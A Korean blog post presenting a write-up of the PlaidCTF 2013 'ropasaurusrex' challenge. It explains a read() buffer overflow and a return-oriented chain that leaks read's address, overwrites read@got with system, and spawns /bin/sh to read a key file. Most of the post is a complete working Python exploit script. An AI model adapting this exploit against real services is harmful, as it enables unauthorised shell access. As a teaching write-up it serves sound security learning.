2014년 1월 22일 수요일

Pctf2013 ropasaurusrex (pwn 200)

binary download*aslr,nx : on
*환경 : ubuntu 13.10
xinet을 이용, 7777번 포트에서 동작하게 해놓았다.

우선 바이너리를 다운받아 분석해본결과 read함수에서 overflow가 나는것을 확인하였다.
프로그램 자체는 상당히 간단하였다.
아무거나 출력하면 WIN 을 리턴하는 형식이였다




그리하여 내가 생각한 시나리오는
read@got를 system으로 overwrite시켜서 명령어를 수행하는 방식이였다.
1. read@plt call 로 전달할 명령 .bss나 .data영역에 넣기
2. write@plt call 로 read함수의 주소 출력시키기
3. 소켓이용, read함수 주소 낼름 받아먹기
4. read@plt call 로 read@got overwrite시키기
5. 변조된read@plt call 로 명령 수행하기

그리하여 난 파이썬을 사용하여 exploit코드를 작성하였다.



#!/usr/bin/python
from socket import *
from struct import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(('127.0.0.1',7777))

p=lambda x:pack("<I",x)
up=lambda x:unpack("<I",x)[0]

readplt = 0x0804832c
readgot = 0x0804961c
writeplt = 0x0804830c
custom_stack = 0x08049624
pppr = 0x080484b6
offset = 0x9f630 
cmd = "/bin/sh"
payload = ""


payload += "A"*140 #dummy 140bytes
payload += p(readplt)  #read@plt call
payload += p(pppr) #pop; pop; pop;
payload += p(0) #stdin
payload += p(custom_stack) #custom_stack
payload += p(len(cmd)) #cmd length

payload += p(writeplt) #write@plt call
payload += p(pppr) #pop; pop; pop;
payload += p(1)  #stdout
payload += p(readgot) #prints read addr
payload += p(4) #length

payload += p(readplt) #read@plt call
payload += p(pppr) #pop; pop; pop;
payload += p(0) #stdin
payload += p(readgot) #read@got overwrite
payload += p(4) #length

payload += p(readplt)  #system
payload += p(0xdeadbeef) #ret
payload += p(custom_stack)  #command addr


print "Go Go Go"
s.send(payload+"\n")
s.send(cmd)
read = up(s.recv(4))

print "this is read : "+hex(read)
system=read-offset
print "this is system : "+hex(system)

s.send(p(system))

print "\n!pwned!"
s.send("cat /home/mango/key\n")

print s.recv(1024)

s.close()

PWNED!!

댓글 없음:

댓글 쓰기